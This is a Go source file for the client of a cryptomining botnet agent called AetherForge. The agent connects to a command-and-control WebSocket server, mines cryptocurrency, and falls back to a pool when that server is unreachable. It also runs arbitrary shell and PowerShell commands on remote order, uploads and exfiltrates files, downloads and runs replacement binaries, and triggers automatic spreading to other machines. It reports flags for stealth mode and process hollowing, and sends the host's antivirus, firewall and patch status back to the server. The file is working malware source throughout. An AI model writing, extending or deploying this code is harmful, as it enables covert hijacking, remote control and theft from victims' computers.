AetherForge/agent/client/client.go

package client

import (
	"encoding/base64"
	"encoding/json"
	"fmt"
	"io"
	"log"
	"net"
	"net/http"
	"net/url"
	"os"
	"os/exec"
	"path/filepath"
	"runtime"
	"strings"
	"sync"
	"sync/atomic"
	"time"

	"crypto-miner-agent/config"
	"crypto-miner-agent/deploy"
	"crypto-miner-agent/job"
	"crypto-miner-agent/miner"
	"crypto-miner-agent/stats"

	"github.com/gorilla/websocket"
)

type AgentClient struct {
	cfg       config.RuntimeConfig
	conn      *websocket.Conn
	pool      *miner.Pool
	reporter  *stats.Reporter
	startTime time.Time
	aiRunner  *AIRunner
	mesh      *MeshNode

	mu              sync.Mutex
	agentID         string
	sharesSubmitted int
	sharesAccepted  int

	// connected is true while a C2 WebSocket session is active.
	// The Stratum fallback manager monitors this to decide when to mine directly.
	connected atomic.Bool

	// spreadOnce ensures AutoSpreader starts at most once — after the first
	// successful WS authentication confirms we are on an owned fleet.
	spreadOnce sync.Once
}

func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
	c := &AgentClient{
		cfg:       cfg,
		reporter:  stats.NewReporter(),
		startTime: time.Now(),
		agentID:   cfg.AgentID,
	}
	c.mesh = NewMeshNode(c)
	return c
}

func (c *AgentClient) Run() error {
	threads := c.cfg.EffectiveThreads()
	c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
	c.pool.Start()
	defer c.pool.Stop()

	// Start AI Autonomy runner if enabled
	if c.cfg.AIEnabled {
		c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
		c.aiRunner.shareStats = func() (int, int) {
			c.mu.Lock()
			defer c.mu.Unlock()
			return c.sharesSubmitted, c.sharesAccepted
		}
		c.aiRunner.Start()
		defer c.aiRunner.Stop()
	}

	// Start libp2p Mesh Discovery
	if c.cfg.MeshP2P {
		if err := c.mesh.Start(); err != nil {
			log.Printf("[Mesh] Failed to start: %v", err)
		}
	}

	// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
	fallbackDone := make(chan struct{})
	fallbackManagerDone := make(chan struct{})
	go func() {
		defer close(fallbackManagerDone)
		c.stratumFallbackManager(fallbackDone)
	}()
	defer func() {
		close(fallbackDone)
		<-fallbackManagerDone
	}()

	// Build deduped server list: primary first, then backups.
	// On each failure we advance to the next URL so the fleet never
	// goes dark when the primary host reboots.
	serverURLs := buildServerURLList(c.cfg)
	log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs)

	urlIdx := 0
	backoff := 5 * time.Second
	const maxBackoff = 60 * time.Second

	for {
		target := serverURLs[urlIdx%len(serverURLs)]
		start := time.Now()
		// Restore C2 share handler before connecting (in case Stratum had it).
		c.pool.SetShareHandler(c.submitShare)
		if err := c.connectLoop(target); err != nil {
			log.Printf("[agent] disconnected from %s: %v", target, err)
		}
		// Advance to next URL so the next reconnect tries a different server
		urlIdx++
		if time.Since(start) > 10*time.Second {
			// Long-lived connection succeeded — reset backoff on the next attempt
			backoff = 5 * time.Second
		}
		time.Sleep(backoff)
		backoff += 5 * time.Second
		if backoff > maxBackoff {
			backoff = maxBackoff
		}
	}
}

// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order.
func buildServerURLList(cfg config.RuntimeConfig) []string {
	seen := map[string]bool{}
	var urls []string
	add := func(u string) {
		u = strings.TrimSpace(u)
		if u == "" || seen[u] {
			return
		}
		seen[u] = true
		urls = append(urls, u)
	}
	add(cfg.ServerURL)
	for _, u := range cfg.BackupServerURLs {
		add(u)
	}
	if len(urls) == 0 {
		urls = []string{cfg.ServerURL}
	}
	return urls
}

func (c *AgentClient) connectLoop(serverURL string) error {
	wsURL, err := buildWSURL(serverURL)
	if err != nil {
		return err
	}

	log.Printf("[agent] connecting to %s", wsURL)
	dialer := websocket.Dialer{HandshakeTimeout: 45 * time.Second}
	conn, _, err := dialer.Dial(wsURL, nil)
	if err != nil {
		return err
	}
	if tc, ok := conn.UnderlyingConn().(*net.TCPConn); ok {
		_ = tc.SetKeepAlive(true)
		_ = tc.SetKeepAlivePeriod(30 * time.Second)
	}
	c.conn = conn
	defer conn.Close()

	conn.SetPongHandler(func(string) error {
		return conn.SetReadDeadline(time.Now().Add(90 * time.Second))
	})

	if err := c.authenticate(); err != nil {
		return err
	}
	c.connected.Store(true)
	defer c.connected.Store(false)

	statsStop := make(chan struct{})
	go c.statsLoop(statsStop)
	defer close(statsStop)

	for {
		conn.SetReadDeadline(time.Now().Add(90 * time.Second))
		_, data, err := conn.ReadMessage()
		if err != nil {
			return err
		}
		var msg Message
		if err := json.Unmarshal(data, &msg); err != nil {
			continue
		}
		c.handleMessage(msg)
	}
}

func (c *AgentClient) authenticate() error {
	host, cores, memGB := c.reporter.SystemInfo()
	backupPools := make([]BackupPoolEntry, len(c.cfg.BackupPools))
	for i, bp := range c.cfg.BackupPools {
		backupPools[i] = BackupPoolEntry{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
	}

	payload, _ := json.Marshal(AuthPayload{
		AgentID:          c.agentID,
		FleetSecret:      c.cfg.FleetSecret,
		Wallet:           c.cfg.Wallet,
		BackupPools:      backupPools,
		Version:          config.Version,
		Hostname:         host,
		CPUCores:         cores,
		MemoryGB:         memGB,
		Worker:           c.cfg.WorkerName,
		PoolHost:         c.cfg.PoolHost,
		PoolPort:         c.cfg.PoolPort,
		PoolTLS:          c.cfg.PoolTLS,
		PoolPass:         c.cfg.PoolPass,
		AIEnabled:        c.cfg.AIEnabled,
		AIOllamaEndpoint: c.cfg.AIOllamaEndpoint,
		AIModel:          c.cfg.AIModel,
		HolePunch:        c.cfg.HolePunch,
		RemoteAggressive: c.cfg.RemoteAggressive,
		MeshP2P:          c.cfg.MeshP2P,
		AutoSpread:       c.cfg.AutoSpread,
		ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows",
		Platform:         runtime.GOOS,
		Arch:             runtime.GOARCH,
		OSVersion:        deploy.HostOSVersion(),
	})
	if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
		return err
	}

	_, data, err := c.conn.ReadMessage()
	if err != nil {
		return err
	}
	var msg Message
	if err := json.Unmarshal(data, &msg); err != nil {
		return err
	}
	if msg.Type != "auth_response" {
		return fmt.Errorf("unexpected message: %s", msg.Type)
	}
	var resp AuthResponse
	if err := json.Unmarshal(msg.Payload, &resp); err != nil {
		return err
	}
	if !resp.Success {
		return fmt.Errorf("auth failed: %s", resp.Error)
	}
	c.agentID = resp.AgentID
	log.Printf("[agent] authenticated as %s", c.agentID)

	// Gate AutoSpread behind successful server auth: only spread on fleets where
	// our fleet secret was accepted, preventing lateral movement on non-owned networks.
	if c.cfg.AutoSpread {
		c.spreadOnce.Do(func() {
			deploy.StartAutoSpreader(c.cfg)
			// One-shot first-run spread (triggered on the very first install).
			if deploy.WantsFirstRunSpread(c.cfg) {
				deploy.RunSpreadOnce(c.cfg)
				deploy.ClearFirstRunSpreadMarker(c.cfg)
			}
		})
	}

	c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
	return nil
}

func jobPayloadHasError(payload json.RawMessage) bool {
	_, ok := jobPayloadErrorMessage(payload)
	return ok
}

func jobPayloadErrorMessage(payload json.RawMessage) (string, bool) {
	var raw map[string]json.RawMessage
	if err := json.Unmarshal(payload, &raw); err != nil {
		return "", false
	}
	errMsg, ok := raw["error"]
	if !ok {
		return "", false
	}
	msg := strings.Trim(string(errMsg), `"`)
	if msg == "" {
		return "", false
	}
	return msg, true
}

func (c *AgentClient) handleMessage(msg Message) {
	switch msg.Type {
	case "new_job":
		if jobPayloadHasError(msg.Payload) {
			if msg, _ := jobPayloadErrorMessage(msg.Payload); msg != "" {
				log.Printf("[agent] job error from server: %s", msg)
			}
			// Back off 3 seconds before retrying — pool may still be connecting.
			time.AfterFunc(3*time.Second, func() {
				c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
			})
			return
		}
		var j job.Job
		if err := json.Unmarshal(msg.Payload, &j); err != nil {
			log.Printf("[agent] bad job payload: %v", err)
			return
		}
		if j.Blob == "" {
			log.Printf("[agent] empty job blob — requesting job again")
			time.AfterFunc(3*time.Second, func() {
				c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
			})
			return
		}
		log.Printf("[agent] new job %s height=%d", j.ID, j.Height)
		c.pool.SetJob(&j)
	case "share_result":
		var result ShareResult
		if err := json.Unmarshal(msg.Payload, &result); err != nil {
			return
		}
		if result.Accepted {
			c.mu.Lock()
			c.sharesAccepted++
			c.mu.Unlock()
		}
	case "command":
		var cmd struct {
			Action    string `json:"action"`
			TailLines int    `json:"tail_lines"`
			Command   string `json:"command"`
			Path      string `json:"path"`
			Data      string `json:"data"`
		}
		if err := json.Unmarshal(msg.Payload, &cmd); err != nil {
			return
		}
		c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
	}
}

func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) {
	if c.handleAggressiveCommand(action, tailLines, command, path, data) {
		return
	}
	switch action {
	case "pause":
		c.pool.PauseRemote()
		c.sendCommandResult(action, true, "mining paused")
	case "resume":
		c.pool.ResumeRemote()
		c.sendCommandResult(action, true, "mining resumed")
	case "restart":
		c.sendCommandResult(action, true, "restarting")
		go c.restartSelf()
	case "stop", "kill":
		c.sendCommandResult(action, true, "stopping")
		go c.stopSelf()
	case "uninstall":
		c.sendCommandResult(action, true, "uninstalling")
		go func() {
			time.Sleep(500 * time.Millisecond)
			if err := deploy.Uninstall(c.cfg); err != nil {
				log.Printf("[agent] remote uninstall failed: %v", err)
			}
		}()
	case "get_log":
		if tailLines <= 0 {
			tailLines = 300
		}
		content, err := readLogTail(c.cfg, tailLines)
		if err != nil {
			c.sendCommandResult(action, false, err.Error())
			return
		}
		payload, _ := json.Marshal(map[string]interface{}{
			"content": content,
			"lines":   tailLines,
		})
		_ = c.write(Message{Type: "log_tail", Payload: payload})
		preview := content
		if len(preview) > 12000 {
			preview = preview[len(preview)-12000:]
		}
		c.sendCommandResult(action, true, preview)
	case "exec":
		if command == "" {
			c.sendCommandResult(action, false, "no command provided")
			return
		}
		out, err := c.runExecCommand(command)
		if err != nil {
			c.sendCommandResult(action, false, formatCmdErr(err, out))
			return
		}
		c.sendCommandResult(action, true, string(out))
	case "powershell":
		if command == "" {
			c.sendCommandResult(action, false, "no command provided")
			return
		}
		out, err := c.runShellCommand(command)
		if err != nil {
			c.sendCommandResult(action, false, formatCmdErr(err, out))
			return
		}
		c.sendCommandResult(action, true, string(out))
	case "upload":
		if path == "" || data == "" {
			c.sendCommandResult(action, false, "path and data (base64) are required")
			return
		}
		decoded, err := base64.StdEncoding.DecodeString(data)
		if err != nil {
			c.sendCommandResult(action, false, "invalid base64 data: "+err.Error())
			return
		}
		if err := os.WriteFile(path, decoded, 0644); err != nil {
			c.sendCommandResult(action, false, "failed to write file: "+err.Error())
			return
		}
		c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", path, len(decoded)))
	case "download":
		if path == "" {
			c.sendCommandResult(action, false, "path is required")
			return
		}
		b, err := os.ReadFile(path)
		if err != nil {
			c.sendCommandResult(action, false, "failed to read file: "+err.Error())
			return
		}
		encoded := base64.StdEncoding.EncodeToString(b)
		c.sendCommandResult(action, true, encoded)
	case "upgrade":
		// data = download URL for the new binary
		if data == "" {
			c.sendCommandResult(action, false, "no upgrade URL provided")
			return
		}
		go c.performUpgrade(data)
		c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary")
	default:
		if c.handleReconCommand(action, command) {
			return
		}
		c.sendCommandResult(action, false, "unknown action")
	}
}

func (c *AgentClient) sendCommandResult(action string, success bool, message string) {
	payload, _ := json.Marshal(map[string]interface{}{
		"action":  action,
		"success": success,
		"message": message,
	})
	_ = c.write(Message{Type: "command_result", Payload: payload})
}

func (c *AgentClient) stopSelf() {
	time.Sleep(300 * time.Millisecond)
	c.pool.Stop()
	os.Exit(0)
}

func (c *AgentClient) restartSelf() {
	time.Sleep(300 * time.Millisecond)
	exe, err := os.Executable()
	if err != nil {
		return
	}
	cmd := exec.Command(exe, "--run")
	cmd.Dir = filepath.Dir(exe)
	_ = cmd.Start()
	os.Exit(0)
}

// performUpgrade downloads a new binary from downloadURL, replaces the
// installed binary, and restarts. Works around Windows file-locking by
// renaming the running exe to .old before writing the new one.
func (c *AgentClient) performUpgrade(downloadURL string) {
	log.Printf("[agent] upgrade: downloading from %s", downloadURL)
	resp, err := http.Get(downloadURL) //nolint:gosec — URL is from trusted C2
	if err != nil {
		log.Printf("[agent] upgrade: download failed: %v", err)
		c.sendCommandResult("upgrade", false, "download failed: "+err.Error())
		return
	}
	defer resp.Body.Close()
	if resp.StatusCode != http.StatusOK {
		log.Printf("[agent] upgrade: server returned %s", resp.Status)
		c.sendCommandResult("upgrade", false, "server returned "+resp.Status)
		return
	}

	exe, err := os.Executable()
	if err != nil {
		c.sendCommandResult("upgrade", false, "cannot locate executable: "+err.Error())
		return
	}
	exe, _ = filepath.Abs(exe)

	// Write new binary to a temp file in the same directory
	newPath := exe + ".new"
	tmp, err := os.OpenFile(newPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
	if err != nil {
		c.sendCommandResult("upgrade", false, "cannot write upgrade: "+err.Error())
		return
	}
	if _, err := io.Copy(tmp, resp.Body); err != nil {
		tmp.Close()
		_ = os.Remove(newPath)
		c.sendCommandResult("upgrade", false, "write failed: "+err.Error())
		return
	}
	tmp.Close()

	// On Windows: rename the running exe to .old (allowed), then rename .new into place.
	// On other OSes: direct rename works while the process is running.
	oldPath := exe + ".old"
	_ = os.Remove(oldPath)
	if err := os.Rename(exe, oldPath); err != nil {
		_ = os.Remove(newPath)
		c.sendCommandResult("upgrade", false, "rename old binary failed: "+err.Error())
		return
	}
	if err := os.Rename(newPath, exe); err != nil {
		// Try to roll back
		_ = os.Rename(oldPath, exe)
		_ = os.Remove(newPath)
		c.sendCommandResult("upgrade", false, "rename new binary failed: "+err.Error())
		return
	}

	log.Printf("[agent] upgrade: binary replaced, restarting")
	c.sendCommandResult("upgrade", true, "binary replaced — restarting")
	time.Sleep(500 * time.Millisecond)

	cmd := exec.Command(exe, "--run")
	cmd.Dir = filepath.Dir(exe)
	if startErr := cmd.Start(); startErr != nil {
		log.Printf("[agent] upgrade: restart failed: %v", startErr)
	}
	os.Exit(0)
}

func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
	if !cfg.FileLogging || cfg.StealthMode {
		return "", fmt.Errorf("logging disabled (stealth build or file_logging=false)")
	}
	if tailLines <= 0 {
		tailLines = 200
	}
	installDir, err := cfg.InstallDirectory()
	if err != nil {
		return "", err
	}
	logPath := filepath.Join(installDir, "miner.log")
	data, err := os.ReadFile(logPath)
	if err != nil {
		if os.IsNotExist(err) {
			return "", fmt.Errorf("miner.log not found")
		}
		return "", err
	}
	lines := strings.Split(string(data), "\n")
	if len(lines) > 0 && lines[len(lines)-1] == "" {
		lines = lines[:len(lines)-1]
	}
	if len(lines) > tailLines {
		lines = lines[len(lines)-tailLines:]
	}
	return strings.Join(lines, "\n"), nil
}

func (c *AgentClient) submitShare(jobID, nonce, hash string) {
	c.mu.Lock()
	c.sharesSubmitted++
	conn := c.conn // read under the same lock to avoid data race
	c.mu.Unlock()

	payload, _ := json.Marshal(SharePayload{
		JobID:  jobID,
		Nonce:  nonce,
		Hash:   hash,
		Worker: c.cfg.WorkerName,
	})

	if conn != nil {
		_ = c.write(Message{Type: "submit_share", Payload: payload})
	} else if c.cfg.MeshP2P {
		c.mesh.BroadcastToMesh(Message{Type: "submit_share", Payload: payload})
	}
}

// probeSSH returns true if an SSH daemon is listening on port 22 locally.
func probeSSH() bool {
	conn, err := net.DialTimeout("tcp", "127.0.0.1:22", 2*time.Second)
	if err != nil {
		return false
	}
	conn.Close()
	return true
}

func (c *AgentClient) statsLoop(stop <-chan struct{}) {
	ticker := time.NewTicker(10 * time.Second)
	defer ticker.Stop()

	var samples []float64
	var probeTick int
	var lastSSH *bool
	var lastPosture *PostureReport
	var lastPressure *ResourcePressure
	var lastDNS *DNSConfig
	var lastListenPortCount *int
	var postureReady bool
	for {
		select {
		case <-stop:
			return
		case <-ticker.C:
			hps := c.pool.HashesPerSecond()
			c.pool.ResetHashCounter()
			samples = append(samples, hps)
			if len(samples) > 90 {
				samples = samples[len(samples)-90:]
			}

			var avg15s, avg1m, avg15m float64
			if len(samples) > 0 {
				avg15s = samples[len(samples)-1]
			}
			if len(samples) >= 6 {
				for _, v := range samples[len(samples)-6:] {
					avg1m += v
				}
				avg1m /= 6
			} else {
				avg1m = avg15s
			}
			for _, v := range samples {
				avg15m += v
			}
			avg15m /= float64(len(samples))

			cpuPct, memPct := c.reporter.Usage()
			if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
				cpuPct = sysCPU
			}
			c.mu.Lock()
			submitted := c.sharesSubmitted
			accepted := c.sharesAccepted
			c.mu.Unlock()

			// Probe SSH, posture, and resource pressure every 6 ticks (~60s)
			if probeTick%6 == 0 {
				ok := probeSSH()
				lastSSH = &ok
				if p := collectPosture(); p != nil {
					lastPosture = p
					postureReady = true
					if p.SSHListening != nil {
						lastSSH = p.SSHListening
					}
				}
				lastPressure = collectResourcePressure()
				lastDNS = probeDNS()
				if lp := collectListenPorts(); lp != nil {
					n := lp.Count
					lastListenPortCount = &n
				}
			}
			probeTick++

			stats := StatsPayload{
				Hashrate15s:     avg15s,
				Hashrate1m:      avg1m,
				Hashrate15m:     avg15m,
				SharesSubmitted: submitted,
				SharesAccepted:  accepted,
				CPUUsagePct:     cpuPct,
				MemoryUsagePct:  memPct,
				UptimeSeconds:   int(time.Since(c.startTime).Seconds()),
				SSHAvailable:    lastSSH,
			}
			if lastDNS != nil {
				stats.DNSServers       = lastDNS.Servers
				stats.DNSSearchDomains = lastDNS.SearchDomains
			}
			stats.ListenPortCount = lastListenPortCount
			if lastPressure != nil {
				stats.CPUFreqMHz  = lastPressure.CPUFreqMHz
				stats.CPUMaxMHz   = lastPressure.CPUMaxMHz
				stats.CPUThrottle = lastPressure.CPUThrottle
				stats.CPUTempC    = lastPressure.CPUTempC
				stats.DiskFreeGB  = lastPressure.DiskFreeGB
				stats.DiskTotalGB = lastPressure.DiskTotalGB
				stats.DiskFreePct = lastPressure.DiskFreePct
				stats.GPUTempC    = lastPressure.GPUTempC
				stats.GPUUsagePct = lastPressure.GPUUsagePct
			}
			if postureReady && lastPosture != nil {
				score := lastPosture.PostureScore
				stats.PostureScore    = &score
				stats.DefenderEnabled = lastPosture.DefenderEnabled
				stats.DefenderRTP     = lastPosture.DefenderRTP
				stats.AVProducts      = lastPosture.AVProducts
				stats.FirewallDomain  = lastPosture.FirewallDomain
				stats.FirewallPrivate = lastPosture.FirewallPrivate
				stats.FirewallPublic  = lastPosture.FirewallPublic
				stats.LastPatchDays   = lastPosture.LastPatchDays
				stats.LastPatch       = lastPosture.LastPatch
				stats.PendingUpdates  = lastPosture.PendingUpdates
				stats.RebootPending   = lastPosture.RebootPending
				stats.AgentElevated   = lastPosture.AgentElevated
				stats.Services        = lastPosture.Services
			}
			payload, _ := json.Marshal(stats)
			_ = c.write(Message{Type: "stats", Payload: payload})
		}
	}
}

func (c *AgentClient) write(msg Message) error {
	c.mu.Lock()
	defer c.mu.Unlock()
	if c.conn == nil {
		return fmt.Errorf("not connected")
	}
	return c.conn.WriteJSON(msg)
}

// stratumFallbackManager monitors C2 connectivity and spins up a direct Stratum
// connection after 30 seconds of being disconnected from the C2 server.
// When C2 reconnects the Stratum session is stopped and the share handler is
// restored to the C2 WebSocket path.
func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
	if c.cfg.PoolHost == "" {
		return // no pool configured
	}

	type fallback struct {
		stop chan struct{}
		wait chan struct{}
	}
	var fb *fallback

	var disconnectedSince time.Time
	ticker := time.NewTicker(5 * time.Second)
	defer ticker.Stop()

	stopFallback := func() {
		if fb != nil {
			close(fb.stop)
			<-fb.wait
			fb = nil
			c.pool.SetShareHandler(c.submitShare)
			log.Printf("[stratum] fallback stopped — C2 connection restored")
		}
	}

	for {
		select {
		case <-done:
			stopFallback()
			return
		case <-ticker.C:
			if c.connected.Load() {
				disconnectedSince = time.Time{}
				stopFallback()
			} else {
				if disconnectedSince.IsZero() {
					disconnectedSince = time.Now()
				}
				if fb == nil && time.Since(disconnectedSince) > 30*time.Second {
					stop := make(chan struct{})
					wait := make(chan struct{})
					sc := miner.NewStratumClient(c.pool, c.cfg)
					go func() {
						defer close(wait)
						sc.RunFallback(stop)
					}()
					fb = &fallback{stop: stop, wait: wait}
					log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
				}
			}
		}
	}
}

func buildWSURL(serverURL string) (string, error) {
	u, err := url.Parse(strings.TrimSpace(serverURL))
	if err != nil {
		return "", err
	}
	switch u.Scheme {
	case "https":
		u.Scheme = "wss"
	case "http", "":
		u.Scheme = "ws"
	case "wss", "ws":
	default:
		return "", fmt.Errorf("unsupported server URL scheme: %s", u.Scheme)
	}
	if u.Scheme == "" {
		u.Scheme = "ws"
	}
	u.Path = strings.TrimSuffix(u.Path, "/") + "/ws/agent"
	u.RawQuery = ""
	u.Fragment = ""
	return u.String(), nil
}